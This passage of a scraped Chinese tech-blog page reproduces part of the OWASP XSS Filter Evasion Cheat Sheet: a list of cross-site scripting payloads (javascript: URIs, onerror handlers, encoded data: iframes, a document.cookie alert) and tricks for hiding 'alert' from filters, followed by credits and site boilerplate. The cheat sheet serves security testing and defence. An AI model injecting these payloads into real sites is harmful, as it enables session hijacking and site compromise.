alert (XSS)"></p> <p><Input value = "XSS" type = text></p> <p><applet code="javascript:confirm(document.cookie);"></p> <p><isindex x="javascript:" οnmοuseοver="alert(XSS)"></p> <p>"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></p> <p>"><img src="x:x" οnerrοr="alert(XSS)"></p> <p>"><iframe src="javascript:alert(XSS)"></p> <p><object data="javascript:alert(XSS)"></p> <p><isindex type=image src=1 οnerrοr=alert(XSS)></p> <p><img src=x:alert(alt) οnerrοr=eval(src) alt=0></p> <p><img  src="x:gif" οnerrοr="window['al\u0065rt'](0)"></img></p> <p><iframe/src="data:text/html,<svg οnlοad=alert(1)>"></p> <p><meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/></p> <p><svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script</p> <p><meta http-equiv="refresh" content="0;url=javascript:confirm(1)"></p> <p><iframe src=javascript&colon;alert&lpar;document&period;location&rpar;></p> <p><form><a href="javascript:\u0061lert(1)">X</p> <p></script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/οnerrοr='eval(src)'></p> <p><style>//*{x:expression(alert(/xss/))}//<style></style> </p> <p>On Mouse Over​</p> <p><img src="/" =_=" title="οnerrοr='prompt(1)'"></p> <p><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe</p> <p><script x> alert(1) </script 1=2</p> <p><form><button formaction=javascript&colon;alert(1)>CLICKME</p> <p><input/οnmοuseοver="javaSCRIPT&colon;confirm&lpar;1&rpar;"</p> <p><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe></p> <p><b><br></b></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>3.1.  Alert混淆以绕过过滤器</h3> <blockquote> <p>(alert)(1)</p> <p>a=alert,a(1)</p> <p>[1].find(alert)</p> <p>top[“al”+”ert”](1)</p> <p>top[/al/.source+/ert/.source](1)</p> <p>al\u0065rt(1)</p> <p>top[‘al\145rt’](1)</p> <p>top[‘al\x65rt’](1)</p> <p>top[8680439..toString(30)](1)</p> <p></p> </blockquote> <h2>4.作者和主要编辑</h2> <p></p> <p></p> <p>Robert "RSnake" Hansen</p> <p></p> <h2>5.贡献者</h2> <p></p> <p></p> <p>Adam Lange</p> <p></p> <p></p> <p>Mishra Dhiraj</p> <p></p> <p></p> <h3><b>版权与许可</b></h3> <p></p> <p></p> <blockquote> <p>版权所有:OWASP基金会©</p> <p></p> <p>本文档基于 Creative Commons Attribution ShareAlike3.0 license 发布。任何重用或发行,都必须向他人明确该文档的许可条款。 http://creativecommons.org/licenses/by-sa/3.0/</p> </blockquote> <p></p> <p>—————————————————————————————————————————————————</p> <p>我不需要自由,只想背着她的梦</p> <p>一步步向前走,她给的永远不重</p> <p>—————————————————————————————————————————————————</p> </div> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1596466057986473984"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(waf绕过系列)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1894116324154601472.htm" title="焱老师带你学习MYSQL系列 第一篇 (MYSQL 整体架构)" target="_blank">焱老师带你学习MYSQL系列 第一篇 (MYSQL 整体架构)</a> <span class="text-muted">weixin_44669461</span> <a class="tag" taget="_blank" href="/search/MYSQL/1.htm">MYSQL</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a> <div>相关系列链接焱老师带你学习MYSQL系列第六篇(MYSQL是如何实现锁的)焱老师带你学习MYSQL系列第五篇(MYSQL事务隔离级别是如何实现的)焱老师带你学习MYSQL系列第四篇(MYSQL优化器详解)焱老师带你学习MYSQL系列第三篇(MYSQL单表访问方法)焱老师带你学习MYSQL系列第二篇(MYSQL数据结构)焱老师带你学习MYSQL系列第一篇(MYSQL整体架构)前记我很多年前曾经面试各</div> </li> <li><a href="/article/1894115061564239872.htm" title="Python入门教程丨3.5 正则表达式" target="_blank">Python入门教程丨3.5 正则表达式</a> <span class="text-muted">凌小添</span> <a class="tag" taget="_blank" href="/search/Python%E6%95%99%E7%A8%8B/1.htm">Python教程</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/1.htm">正则表达式</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>今天我们来学习Python里超实用的字符串匹配和正则表达式。这是处理文本数据的神器,无论是爬虫、数据清洗还是文本分析,都离不开它,我们从基础语法讲起,再到实战场景,深入体会正则的妙用。1.re库正则表达式(RegularExpression,简称regex或regexp)是一种用来匹配字符串的强大工具。它由一串字符和特殊符号组成,用于描述或匹配一系列符合某种模式的字符串。正则表达式广泛应用于文本搜</div> </li> <li><a href="/article/1894113798336344064.htm" title="A10高效配置实战技巧" target="_blank">A10高效配置实战技巧</a> <span class="text-muted">智能计算研究中心</span> <a class="tag" taget="_blank" href="/search/%E5%85%B6%E4%BB%96/1.htm">其他</a> <div>内容概要在复杂的企业网络环境中,A10设备的配置效率直接影响业务系统的稳定性和响应能力。本文围绕A10Thunder系列设备的全流程调优展开,系统梳理从基础参数校准到高级功能部署的关键步骤,重点解析负载均衡算法与业务场景的适配逻辑、会话保持机制的性能平衡点以及SSL加速优化的硬件资源分配策略。建议在实施配置前,通过A10的AXAPI接口提取现有系统日志,结合业务流量特征制定差异化的调优方案。文中提</div> </li> <li><a href="/article/1894097281808920576.htm" title="Ajax购物车添加多产品的最佳实践" target="_blank">Ajax购物车添加多产品的最佳实践</a> <span class="text-muted">t0_54coder</span> <a class="tag" taget="_blank" href="/search/ajax/1.htm">ajax</a><a class="tag" taget="_blank" href="/search/okhttp/1.htm">okhttp</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E4%B8%AA%E4%BA%BA%E5%BC%80%E5%8F%91/1.htm">个人开发</a> <div>在电子商务平台中,购物体验的流畅性直接影响用户的购买决策。特别是在使用Ajax技术处理购物车操作时,确保每个步骤都能够无缝进行至关重要。今天,我们来讨论一下如何通过Ajax添加多个产品到购物车,并解决一个常见的技术问题。背景介绍假设你有一个在线商店,用户可以选择一系列附加产品(如交叉销售产品)并通过一个事件将它们全部添加到购物车中。这听起来简单,但实际上,这涉及到如何正确处理数据结构和Ajax请求</div> </li> <li><a href="/article/1894092740556288000.htm" title="侯捷 C++ 课程学习笔记:STL 标准库与泛型编程的实战指南" target="_blank">侯捷 C++ 课程学习笔记:STL 标准库与泛型编程的实战指南</a> <span class="text-muted">孤寂大仙v</span> <a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a> <div>在侯捷老师的C++系列课程中,《STL标准库与泛型编程》这门课程让我对C++的强大工具——标准模板库(STL)有了全新的认识。STL是现代C++编程的核心,它提供了丰富的数据结构、算法和迭代器,极大地简化了开发工作。侯捷老师通过系统的讲解和实战案例,帮助我掌握了如何高效使用STL来解决实际问题。以下是我对这门课程的学习笔记和心得体会。一、课程核心内容:STL的三大组成部分侯捷老师的课程详细讲解了S</div> </li> <li><a href="/article/1894087699229372416.htm" title="架构设计(15)面向服务架构SOA论文赏析" target="_blank">架构设计(15)面向服务架构SOA论文赏析</a> <span class="text-muted">CoderIsArt</span> <a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84%E8%AE%BE%E8%AE%A1%E7%A0%94%E7%A9%B6/1.htm">架构设计研究</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/SOA/1.htm">SOA</a> <div>题目:论面向服务架构设计以及应用摘要本文以我参与的某公司业务上云项目为例,论述了面向服务架构设计方法和实现过程.该项目的目标是构建以某酒厂生产的白酒产品为主的电子商城,实现该白酒的线下营销升级为在线营销的战略目标,包括:线上抢购,支付,线下配送,防伪溯源等一系列电子商务功能.在此项目中,我作为系统架构师及主要管理人员,参与了该项目的需求开发\系统架构设计等主导工作.SOA将应用程序的不同功能单元,</div> </li> <li><a href="/article/1894085681882394624.htm" title="云计算如何解决延迟问题?" target="_blank">云计算如何解决延迟问题?</a> <span class="text-muted">云上的阿七</span> <a class="tag" taget="_blank" href="/search/%E4%BA%91%E8%AE%A1%E7%AE%97/1.htm">云计算</a> <div>在云计算中,延迟(latency)指的是从请求发出到收到响应之间的时间间隔。延迟过高可能会严重影响用户体验,特别是在需要实时响应的应用中,如在线游戏、视频流、金融交易等。云计算服务如何解决延迟问题,通常依赖于一系列优化策略和技术来减少响应时间。下面我们来探讨几种主要的解决方案。1.多区域部署云计算服务商(如AWS、Azure、GoogleCloud)通常提供跨多个地理区域(Region)的部署选项</div> </li> <li><a href="/article/1894080128959442944.htm" title="SpringSecurity系列——安全Http响应头day8-2(源于官网5.7.2版本)" target="_blank">SpringSecurity系列——安全Http响应头day8-2(源于官网5.7.2版本)</a> <span class="text-muted">简明编程</span> <a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a><a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/SpringSecurity/1.htm">SpringSecurity</a><a class="tag" taget="_blank" href="/search/Java%E5%AD%A6%E4%B9%A0/1.htm">Java学习</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/http/1.htm">http</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>SpringSecurity系列——安全Http响应头day8-2(源于官网5.7.2版本)安全Http响应头默认的安全头默认包含的安全头自定义默认安全标头禁用默认安全头禁用所有安全头(完全无效)缓存控制默认的缓存控制响应头禁用默认安全头开启缓存控制禁用缓存控制(cacheControl)内容类型(Content-Type)禁用Content-TypeHSTS严格传输安全默认的标头默认的严格的传输</div> </li> <li><a href="/article/1894072441861369856.htm" title="DeepSeek 15天指导手册——从入门到精通 PDF(附下载)" target="_blank">DeepSeek 15天指导手册——从入门到精通 PDF(附下载)</a> <span class="text-muted">d3soft</span> <a class="tag" taget="_blank" href="/search/pdf/1.htm">pdf</a><a class="tag" taget="_blank" href="/search/deepseek/1.htm">deepseek</a><a class="tag" taget="_blank" href="/search/AI/1.htm">AI</a><a class="tag" taget="_blank" href="/search/%E6%95%99%E7%A8%8B/1.htm">教程</a> <div>DeepSeek使用教程系列--DeepSeek15天指导手册——从入门到精通pdf下载:https://pan.baidu.com/s/1PrIo0Xo0h5s6Plcc_smS8w?pwd=1234提取码:1234或https://pan.quark.cn/s/2e8de75027d3《DeepSeek15天指导手册——从入门到精通》以系统化学习路径为核心,通过六大模块帮助用户逐步掌握AI工具</div> </li> <li><a href="/article/1894069918639386624.htm" title="清华大学Deepseek从入门到精通全套手册合集(资料整理好了自取)" target="_blank">清华大学Deepseek从入门到精通全套手册合集(资料整理好了自取)</a> <span class="text-muted">2501_90737221</span> <a class="tag" taget="_blank" href="/search/pdf/1.htm">pdf</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>链接:https://pan.quark.cn/s/e2d1e4f3343fDeepSeek火爆全球,网上各类教程层出不穷,质量却参差不齐。近日,清华大学团队在出了一版长达104页《DeepSeek从入门到精通》详细使用手册,深受好评。清华大学DeepSeek使用手册,104页PFD.下载永久解决DeepSeek“服务器繁忙”问题近日,清华团队又连续出了共计6本DeepSeek系列报告:DS清华第</div> </li> <li><a href="/article/1894062861731295232.htm" title="C/C++教程 第十七章 —— MFC开发多人聊天室" target="_blank">C/C++教程 第十七章 —— MFC开发多人聊天室</a> <span class="text-muted">余识-</span> <a class="tag" taget="_blank" href="/search/C%2FC%2B%2B/1.htm">C/C++</a><a class="tag" taget="_blank" href="/search/%E5%AE%9E%E6%88%98%E5%85%A5%E9%97%A8%E5%88%B0%E7%B2%BE%E9%80%9A/1.htm">实战入门到精通</a><a class="tag" taget="_blank" href="/search/mfc/1.htm">mfc</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a> <div>注意本系列文章已升级、转移至我的自建站点中,本章原文为:MFC开发多人聊天室目录注意一、前言二、网络编程基础三、网络协议1.TCP2.UDP四、TCP实现聊天1.Tcp服务器2.Tcp客户端4.运行测试五、UDP实现聊天1.UDP服务器2.UDP客户端3.运行测试六、思考问题一、前言前面几个章节我们大致过了一遍MFC的内容,相信现在的你已经是有能力开发一些简单的软件的了!但现在的软件,很少有不需要</div> </li> <li><a href="/article/1894062357332684800.htm" title="深度学习入门篇--来瞻仰卷积神经网络的鼻祖LeNet" target="_blank">深度学习入门篇--来瞻仰卷积神经网络的鼻祖LeNet</a> <span class="text-muted">智算学术</span> <a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E5%9B%BE%E5%83%8F%E5%88%86%E7%B1%BB%E7%AF%87/1.htm">深度学习图像分类篇</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a> <div>B站视频讲解:深度学习入门篇:使用pytorch搭建LeNet网络并代码详解实战前言大家在学习神经网络的时候肯定会有这样的感受,有很多的文章和视频,有的文章也很好,但是总是不成体系,总是学起来东一榔锤,西一棒槌的,在这种情况下,我会给大家更新深度学习系列的技术文章,轮椅级持续更新技术干货,别问为什么是轮椅级,因为保姆级已经过时了!前置基础知识储备:python/pytorch/神经网络基础知识概念</div> </li> <li><a href="/article/1894040425476452352.htm" title="前端工程化:基于Vue.js 3.0的设计与实践" target="_blank">前端工程化:基于Vue.js 3.0的设计与实践</a> <span class="text-muted">码农阿豪@新空间</span> <a class="tag" taget="_blank" href="/search/%E5%A5%BD%E2%80%9C%E7%89%A9%E2%80%9D%E5%88%86%E4%BA%AB/1.htm">好“物”分享</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a> <div>个人名片作者简介:java领域优质创作者个人主页:码农阿豪工作室:新空间代码工作室(提供各种软件服务)个人邮箱:[2435024119@qq.com]个人微信:15279484656个人导航网站:www.forff.top座右铭:总有人要赢。为什么不能是我呢?专栏导航:码农阿豪系列专栏导航面试专栏:收集了java相关高频面试题,面试实战总结️Spring5系列专栏:整理了Spring5重要知识点与</div> </li> <li><a href="/article/1894040173063237632.htm" title="YOLOv12:以注意力为中心的物体检测" target="_blank">YOLOv12:以注意力为中心的物体检测</a> <span class="text-muted">那雨倾城</span> <a class="tag" taget="_blank" href="/search/PiscTrace/1.htm">PiscTrace</a><a class="tag" taget="_blank" href="/search/YOLO/1.htm">YOLO</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a><a class="tag" taget="_blank" href="/search/%E7%9B%AE%E6%A0%87%E6%A3%80%E6%B5%8B/1.htm">目标检测</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E5%9B%BE%E5%83%8F%E5%A4%84%E7%90%86/1.htm">图像处理</a> <div>YOLOv12是YOLO系列中的最新版本,它引入了一种以注意力为中心的架构,旨在进一步提升物体检测的精度和速度。相比以往的YOLO模型,YOLOv12摒弃了传统基于卷积神经网络(CNN)的结构,采用了全新的方法,融合了自注意力机制和高效的网络架构优化,提供了一个高精度、低延迟的实时目标检测模型。1.主要功能YOLOv12在多个关键点进行了优化和创新,以下是它的主要功能:1.1区域注意机制(Regi</div> </li> <li><a href="/article/1894006888694083584.htm" title="【笔试题汇总】华为春招笔试题解 2024-4-17" target="_blank">【笔试题汇总】华为春招笔试题解 2024-4-17</a> <span class="text-muted">PXM的算法星球</span> <a class="tag" taget="_blank" href="/search/%E5%A4%A7%E5%8E%82%E9%9D%A2%E8%AF%95%E9%A2%98/1.htm">大厂面试题</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BA/1.htm">华为</a> <div>这里是paoxiaomo,一个现役ACMer,之后将会持续更新算法笔记系列以及笔试题题解系列本文章面向想打ICPC/蓝桥杯/天梯赛等程序设计竞赛,以及各个大厂笔试的选手感谢大家的订阅➕和喜欢有什么想看的算法专题可以私信博主(本文题面由清隆学长收集)01.扑克牌消消乐题目描述K小姐最近沉迷于一款扑克牌消除游戏。游戏规则如下:从一副扑克牌中随机抽取nnn张牌组成一个序列,如果有连续的333张相同牌号的</div> </li> <li><a href="/article/1893998824960094208.htm" title="在 Centos7 上部署 ASP.NET 8.0 + YOLOv11 的踩坑实录" target="_blank">在 Centos7 上部署 ASP.NET 8.0 + YOLOv11 的踩坑实录</a> <span class="text-muted">桑榆肖物</span> <a class="tag" taget="_blank" href="/search/ASP.NET/1.htm">ASP.NET</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/asp.net/1.htm">asp.net</a><a class="tag" taget="_blank" href="/search/YOLO/1.htm">YOLO</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a> <div>本文将详细记录我在CentOS7上部署ASP.NET8.0结合YOLOv11目标检测项目过程中遇到的问题及解决方案,旨在为有类似需求的开发者提供参考。1.背景随着人工智能技术的迅猛发展,目标检测成为了众多应用场景中的核心技术之一。YOLO(YouOnlyLookOnce)系列作为实时目标检测领域的代表,已经发展到了YOLOv11版本。同时,.NET平台也在不断迭代升级,最新版本已发布至.NET9。</div> </li> <li><a href="/article/1893996178547208192.htm" title="JavaScript Math(算数)" target="_blank">JavaScript Math(算数)</a> <span class="text-muted">wjs2024</span> <a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>JavaScriptMath(算数)JavaScript中的Math对象是进行数学运算的标准工具,它提供了大量用于执行算术运算的静态方法。本篇文章将详细探讨JavaScript的Math对象,包括其常用的方法、属性以及在实际开发中的应用。Math对象简介在JavaScript中,Math是一个内置对象,无需使用new关键字来创建。它提供了一系列用于数学运算的方法和属性。Math对象中的所有属性和方</div> </li> <li><a href="/article/1893988863215464448.htm" title="PROTOTYPICAL II - The Practice of FPGA Prototyping for SoC Design" target="_blank">PROTOTYPICAL II - The Practice of FPGA Prototyping for SoC Design</a> <span class="text-muted">思尔芯S2C</span> <a class="tag" taget="_blank" href="/search/fpga%E5%BC%80%E5%8F%91/1.htm">fpga开发</a><a class="tag" taget="_blank" href="/search/FPGA%E5%8E%9F%E5%9E%8B%E9%AA%8C%E8%AF%81/1.htm">FPGA原型验证</a><a class="tag" taget="_blank" href="/search/EDA/1.htm">EDA</a><a class="tag" taget="_blank" href="/search/prototyping/1.htm">prototyping</a><a class="tag" taget="_blank" href="/search/Verification/1.htm">Verification</a><a class="tag" taget="_blank" href="/search/SoC/1.htm">SoC</a><a class="tag" taget="_blank" href="/search/design/1.htm">design</a><a class="tag" taget="_blank" href="/search/chip/1.htm">chip</a><a class="tag" taget="_blank" href="/search/design/1.htm">design</a> <div>TheArtofthe“Start”Thesemiconductorindustryrevolvesaroundthe“start.”ChipdesignstartsleadtomoreEDAtoolpurchases,morewaferstarts,andeventuallytomoreproductshipments.Productroadmapsdeveloptoextendshipment</div> </li> <li><a href="/article/1893987855613620224.htm" title="使用NodeJs(Express)搞定用户注册、登录、授权(一)" target="_blank">使用NodeJs(Express)搞定用户注册、登录、授权(一)</a> <span class="text-muted">Amnesia�</span> <a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a><a class="tag" taget="_blank" href="/search/nodejs/1.htm">nodejs</a> <div>最近在学些NodeJs和Express框架开发后台接口,Express是一个保持最小规模的灵活的Node.jsWeb应用程序开发框架,为Web和移动应用程序提供一组强大的功能。看到B站上全栈之巅-Node.js+Vue.js全栈开发深度爱好者和实践者,感觉Johnny博主的系列视频讲解得不错,其中看到一个视频是1小时搞定NodeJs(Express)的用户注册、登录和授权,介绍了在Express中</div> </li> <li><a href="/article/1893982305970614272.htm" title="AI实干家:GROK 3——香港10家主要银行信用卡对比" target="_blank">AI实干家:GROK 3——香港10家主要银行信用卡对比</a> <span class="text-muted">SZ0771</span> <a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E5%88%9B%E4%B8%9A%E5%88%9B%E6%96%B0/1.htm">创业创新</a> <div>后面会具体实践两个系列,AI实干家——AI办工、创业的实践探索;AI空想家——AI开放式创作。以下是根据你更新的数据重新整理的香港10家银行(中银、汇丰、永隆、恒生、东亚、渣打、星展、工银、建银、交银)的信用卡信息对比表,并对每家银行的信用卡基本参数进行点评和推荐,列举适合的客户类型。(仅展示Visa/Mastercard常规卡种数据,忽略银联卡和SMART卡)招商永隆信用卡推荐理由永隆信用卡在消</div> </li> <li><a href="/article/1893981740813316096.htm" title="Shopee店铺被冻结怎么办?应对策略" target="_blank">Shopee店铺被冻结怎么办?应对策略</a> <span class="text-muted"></span> <a class="tag" taget="_blank" href="/search/ip%E5%9C%B0%E5%9D%80%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%94%B5%E5%95%86/1.htm">ip地址代理服务器电商</a> <div>Shopee作为一家知名的跨境电商平台,在跨境电商行业占据了一片江山。其庞大的用户量吸引了不少卖家入驻。然而有些卖家在运营自己的Shopee店铺时,总会遇到一些难题,比如Shopee店铺被冻结。本文将和大家一起探讨Shopee店铺被冻结的原因,以及如何解决这个问题。一、Shopee店铺被冻结的原因1、违反平台规则Shopee作为热门的跨境电商平台,有一系列的规定和政策。如果商家有违反Shopee的</div> </li> <li><a href="/article/1893981043766128640.htm" title="AI 是如何赋能企业,推动新的“商业革命”的?" target="_blank">AI 是如何赋能企业,推动新的“商业革命”的?</a> <span class="text-muted">龙兵科技软件开发小江</span> <a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E5%B0%8F%E7%A8%8B%E5%BA%8F/1.htm">小程序</a><a class="tag" taget="_blank" href="/search/ai/1.htm">ai</a><a class="tag" taget="_blank" href="/search/%E7%A7%91%E6%8A%80/1.htm">科技</a><a class="tag" taget="_blank" href="/search/AI%E5%91%98%E5%B7%A5/1.htm">AI员工</a><a class="tag" taget="_blank" href="/search/AI%E5%AE%A2%E6%9C%8D/1.htm">AI客服</a> <div>在当今快速发展的时代,企业界正涌现出一股新的趋势——让员工掌握AI技能。AI作为一种强大的技术工具,不仅能够显著提升工作效率,其展现出的能力甚至可以在瞬间超越人们经过多年积累所获得的技能,这一特性正深刻改变着企业的运营模式和员工的工作方式。以实际案例来看,在我们公司中,员工小张曾经花费了大量的时间和精力,才熟练掌握了Adobe系列软件的复杂功能,然而现在借助AI算法,简单的操作就能轻松实现抠图等操</div> </li> <li><a href="/article/1893977893072072704.htm" title="Python Django系列—入门实例(二)" target="_blank">Python Django系列—入门实例(二)</a> <span class="text-muted">Doker数码品牌</span> <a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/django/1.htm">django</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>数据库配置现在,打开mysite/settings.py。这是个包含了Django项目设置的Python模块。默认情况下,DATABASES配置使用SQLite。如果你是数据库新手,或者只是想尝试Django,这是最简单的选择。SQLite包含在Python中,因此你不需要安装任何其他东西来支持数据库。然而,当你开始第一个真正的项目时,你可能希望使用像PostgreSQL这样更具扩展性的数据库,以</div> </li> <li><a href="/article/1893971085418885120.htm" title="【带你 langchain 双排系列教程】0. 走进大模型与 LangChain 的奇妙世界" target="_blank">【带你 langchain 双排系列教程】0. 走进大模型与 LangChain 的奇妙世界</a> <span class="text-muted">夜里慢慢行456</span> <a class="tag" taget="_blank" href="/search/%E5%8F%8C%E6%8E%92%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">双排人工智能</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/langchain/1.htm">langchain</a> <div>文章目录引言大模型的发展历史当前最火热的大模型技术LangChain架构及学习其的重要意义结语引言在当今数字化时代,人工智能技术飞速发展,大模型更是成为了科技领域的热门话题。它们正在改变着我们的生活和工作方式,从智能聊天机器人到自动文本生成,从图像识别到语音助手,大模型的应用无处不在。而LangChain作为构建大模型应用的强大框架,为我们打开了通往这一奇妙世界的大门。本文将带领初学者了解大模型的</div> </li> <li><a href="/article/1893939065200373760.htm" title="解决 Linux 下 tar 解压错误:文件损坏与不完整问题的全面指南" target="_blank">解决 Linux 下 tar 解压错误:文件损坏与不完整问题的全面指南</a> <span class="text-muted">码农阿豪@新空间</span> <a class="tag" taget="_blank" href="/search/%E5%8C%85%E7%BD%97%E4%B8%87%E8%B1%A1/1.htm">包罗万象</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a> <div>个人名片作者简介:java领域优质创作者个人主页:码农阿豪工作室:新空间代码工作室(提供各种软件服务)个人邮箱:[2435024119@qq.com]个人微信:15279484656个人导航网站:www.forff.top座右铭:总有人要赢。为什么不能是我呢?专栏导航:码农阿豪系列专栏导航面试专栏:收集了java相关高频面试题,面试实战总结️Spring5系列专栏:整理了Spring5重要知识点与</div> </li> <li><a href="/article/1893928729898446848.htm" title="Engineering A Large Language Model From Scratch" target="_blank">Engineering A Large Language Model From Scratch</a> <span class="text-muted">UnknownBody</span> <a class="tag" taget="_blank" href="/search/%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8B/1.htm">语言模型</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E5%A4%84%E7%90%86/1.htm">自然语言处理</a> <div>本文是LLM系列文章,针对《EngineeringALargeLanguageModelFromScratch》的翻译。从头开始设计一个大语言模型摘要1引言2Atinuke算法3结果4相关工作5讨论6结论摘要自然语言处理(NLP)中深度学习的激增导致了创新技术的发展和发布,这些技术能够熟练地理解和生成人类语言。Atinuke是一种基于Transformer的神经网络,通过使用独特的配置来优化各种语</div> </li> <li><a href="/article/1893915515315875840.htm" title="《AIGC团队协作:成功案例背后的秘密》" target="_blank">《AIGC团队协作:成功案例背后的秘密》</a> <span class="text-muted"></span> <a class="tag" taget="_blank" href="/search/css3%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">css3深度学习人工智能</a> <div>AIGC时代,协作新挑战[]()AIGC时代的到来,无疑为团队协作带来了全新的机遇,但在享受技术红利的同时,我们也必须清醒地认识到,一系列前所未有的挑战正悄然降临。协作模式与沟通方式的转变带来了诸多挑战。传统的团队协作模式在AIGC时代逐渐显得力不从心,新的协作模式需要重新构建。比如,以往面对面的沟通和会议,在远程办公和AIGC工具辅助的情况下,更多地依赖线上交流,这可能导致信息传递的失真和误解。</div> </li> <li><a href="/article/1893904644086755328.htm" title="Redis系列之-Redis-Sentinel哨兵" target="_blank">Redis系列之-Redis-Sentinel哨兵</a> <span class="text-muted">just_do_it_98</span> <a class="tag" taget="_blank" 